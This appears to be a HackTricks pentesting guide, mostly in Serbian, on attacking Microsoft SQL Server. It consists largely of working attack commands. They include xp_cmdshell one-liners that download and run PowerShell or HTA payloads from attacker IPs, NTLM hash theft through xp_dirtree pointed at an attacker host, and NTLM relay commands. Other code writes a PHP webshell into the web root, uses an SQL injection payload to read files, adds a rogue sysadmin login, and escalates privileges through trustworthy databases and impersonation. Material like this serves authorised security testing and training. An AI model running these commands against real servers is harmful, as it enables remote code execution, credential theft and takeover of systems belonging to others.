hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

# 1433 - Pentesting MSSQL - Microsoft SQL Server

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{% endhint %}

## Osnovne informacije

Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):

> **Microsoft SQL Server** je **sistem za upravljanje relacionim bazama podataka** koji je razvio Microsoft. Kao server baze podataka, to je softverski proizvod čija je primarna funkcija skladištenje i preuzimanje podataka na zahtev drugih softverskih aplikacija—koje mogu raditi ili na istom računaru ili na drugom računaru preko mreže (uključujući Internet).\\

**Podrazumevani port:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Podrazumevane MS-SQL sistemske tabele**

* **master Baza podataka**: Ova baza podataka je ključna jer beleži sve sistemske detalje za SQL Server instancu.
* **msdb Baza podataka**: SQL Server Agent koristi ovu bazu podataka za upravljanje rasporedom za alarme i poslove.
* **model Baza podataka**: Deluje kao plan za svaku novu bazu podataka na SQL Server instanci, gde se sve izmene poput veličine, kolacije, modela oporavka i drugih odražavaju u novokreiranim bazama podataka.
* **Resource Baza podataka**: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Server-om. Ovi objekti, iako su fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka.
* **tempdb Baza podataka**: Služi kao privremeno skladište za prolazne objekte ili međurezultate.

## Enumeracija

### Automatska enumeracija

Ako ne znate ništa o usluzi:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Ako **nemate** **akreditiv** možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta ne uspete da se prijavite koristeći postojeće korisničko ime.
{% endhint %}

#### Metasploit (potrebni akreditivi)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)

### Ručna enumeracija

#### Prijava

[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```

```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Uobičajena Enumeracija
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Dobij korisnika

{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
{% endcontent-ref %}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Dobijanje dozvola

1. **Securable:** Definisano kao resursi kojima upravlja SQL Server za kontrolu pristupa. Ovi su kategorizovani u:
* **Server** – Primeri uključuju baze podataka, prijave, krajnje tačke, grupe dostupnosti i server uloge.
* **Database** – Primeri obuhvataju uloge baze podataka, aplikacione uloge, šeme, sertifikate, kataloge punog teksta i korisnike.
* **Schema** – Uključuje tabele, prikaze, procedure, funkcije, sinonime itd.
2. **Permission:** Povezane sa SQL Server securables, dozvole kao što su ALTER, CONTROL i CREATE mogu se dodeliti principalu. Upravljanje dozvolama se vrši na dva nivoa:
* **Server Level** koristeći prijave
* **Database Level** koristeći korisnike
3. **Principal:** Ovaj termin se odnosi na entitet kojem je dodeljena dozvola za securable. Principali uglavnom uključuju prijave i korisnike baze podataka. Kontrola pristupa securables se vrši kroz dodeljivanje ili odbijanje dozvola ili uključivanjem prijava i korisnika u uloge opremljene pravima pristupa.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Trikovi

### Izvršavanje OS komandi

{% hint style="danger" %}
Napomena da je za izvršavanje komandi neophodno ne samo da je **`xp_cmdshell`** **omogućena**, već i da imate **EXECUTE dozvolu na `xp_cmdshell` skladišnoj proceduri**. Možete saznati ko (osim sysadmin-a) može koristiti **`xp_cmdshell`** sa:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Ukradi NetNTLM hash / Relay napad

Trebalo bi da pokrenete **SMB server** da uhvatite hash koji se koristi u autentifikaciji (`impacket-smbserver` ili `responder` na primer).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
{% hint style="warning" %}
Možete proveriti ko (osim sysadmins) ima dozvole da pokrene te MSSQL funkcije sa:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}

Korišćenjem alata kao što su **responder** ili **Inveigh** moguće je **ukrasti NetNTLM hash**.\
Možete videti kako koristiti ove alate u:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}

### Zloupotreba MSSQL poverljivih veza

[**Pročitajte ovaj post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **da biste pronašli više informacija o tome kako zloupotrebiti ovu funkciju:**

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
{% endcontent-ref %}

### **Pisanje fajlova**

Da bismo pisali fajlove koristeći `MSSQL`, **moramo omogućiti** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), što zahteva administratorske privilegije, a zatim izvršiti neke sačuvane procedure da bismo kreirali fajl:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Čitanje datoteke sa** OPENROWSET

Po defaultu, `MSSQL` omogućava čitanje datoteka **na bilo kojoj datoteci u operativnom sistemu na koju nalog ima pristup za čitanje**. Možemo koristiti sledeći SQL upit:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Međutim, **`BULK`** opcija zahteva **`ADMINISTER BULK OPERATIONS`** ili **`ADMINISTER DATABASE BULK OPERATIONS`** dozvolu.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Vektor zasnovan na grešci za SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Čitanje datoteka izvršavanjem skripti (Python i R)**

MSSQL može omogućiti izvršavanje **skripti u Pythonu i/ili R**. Ovaj kod će biti izvršen od strane **drugog korisnika** nego onog koji koristi **xp\_cmdshell** za izvršavanje komandi.

Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**:

![](<../../.gitbook/assets/image (393).png>)

Primer korišćenja konfigurisanog Pythona za izvođenje nekoliko akcija:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Čitanje registra

Microsoft SQL Server pruža **više proširenih skladišnih procedura** koje vam omogućavaju da komunicirate ne samo sa mrežom već i sa datotečnim sistemom, pa čak i sa [**Windows registrom**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

| **Redovni**                  | **Svestan o instanci**                     |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread              | sys.xp\_instance\_regread              |
| sys.xp\_regenumvalues        | sys.xp\_instance\_regenumvalues        |
| sys.xp\_regenumkeys          | sys.xp\_instance\_regenumkeys          |
| sys.xp\_regwrite             | sys.xp\_instance\_regwrite             |
| sys.xp\_regdeletevalue       | sys.xp\_instance\_regdeletevalue       |
| sys.xp\_regdeletekey         | sys.xp\_instance\_regdeletekey         |
| sys.xp\_regaddmultistring    | sys.xp\_instance\_regaddmultistring    |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Za **više primera** pogledajte [**originalni izvor**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

### RCE sa MSSQL korisnički definisanom funkcijom - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Moguće je **učitati .NET dll unutar MSSQL sa prilagođenim funkcijama**. Ovo, međutim, **zahteva `dbo` pristup** tako da vam je potrebna veza sa bazom podataka **kao `sa` ili u ulozi Administratora**.

[**Pratite ovu vezu**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) da vidite primer.

### RCE sa `autoadmin_task_agents`

Prema [**ovom postu**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), takođe je moguće učitati udaljeni dll i naterati MSSQL da ga izvrši sa nečim poput:

{% code overflow="wrap" %}
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
{% endcode %}

Sa:
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}
```
### Other ways for RCE

Postoje druge metode za dobijanje izvršenja komandi, kao što su dodavanje [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), i [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

## MSSQL Privilege Escalation

### From db\_owner to sysadmin

Ako **običan korisnik** dobije ulogu **`db_owner`** nad **bazom podataka koju poseduje admin** korisnik (kao što je **`sa`**) i ta baza podataka je konfigurisana kao **`trustworthy`**, taj korisnik može zloupotrebiti te privilegije za **privesc** jer **stored procedures** kreirane tamo mogu **izvršavati** kao vlasnik (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Možete koristiti **metasploit** modul:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Ili **PS** skripta:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Improvizacija drugih korisnika

SQL Server ima posebnu dozvolu, nazvanu **`IMPERSONATE`**, koja **omogućava izvršnom korisniku da preuzme dozvole drugog korisnika** ili prijave dok se kontekst ne resetuje ili sesija ne završi.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
{% hint style="info" %}
Ako možete da se pretvarate da ste korisnik, čak i ako on nije sysadmin, trebalo bi da proverite **da li korisnik ima pristup** drugim **baza podataka** ili povezanih servera.
{% endhint %}

Imajte na umu da kada postanete sysadmin, možete se pretvarati da ste bilo koji drugi:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Možete izvesti ovaj napad pomoću **metasploit** modula:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
или са **PS** скриптом:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Korišćenje MSSQL za postojanost

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## Ekstrakcija lozinki iz SQL Server Linked Servers

Napadač može da ekstrakuje lozinke SQL Server Linked Servers iz SQL instanci i dobije ih u čistom tekstu, omogućavajući napadaču lozinke koje se mogu koristiti za sticanje veće kontrole nad metom. Skripta za ekstrakciju i dekripciju lozinki koje su sačuvane za Linked Servers može se pronaći [ovde](https://www.richardswinbank.net/admin/extract_linked_server_passwords)

Neki zahtevi i konfiguracije moraju biti izvršeni kako bi ovaj exploit radio. Prvo, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama.

Nakon validacije vaših dozvola, potrebno je konfigurisati tri stvari, a to su:

1. Omogućiti TCP/IP na SQL Server instancama;
2. Dodati Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806.
3. Omogućiti udaljenu administratorsku konekciju.

Da biste automatizovali ove konfiguracije, [ovo skladište](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, skladište takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki.

Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dekripcija MSSQL baze podataka Link Server lozinki](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[Troubleshooting SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## Lokalna eskalacija privilegija

Korisnik koji pokreće MSSQL server će imati omogućenu privilegiju tokena **SeImpersonatePrivilege.**\
Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove 2 stranice:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
{% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %}
[juicypotato.md](../../windows-hardening/windows-local-privilege-escalation/juicypotato.md)
{% endcontent-ref %}

## Shodan

* `port:1433 !HTTP`

## Reference

* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
* [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)

## HackTricks Automatske Komande
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

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</details>
{% endhint %}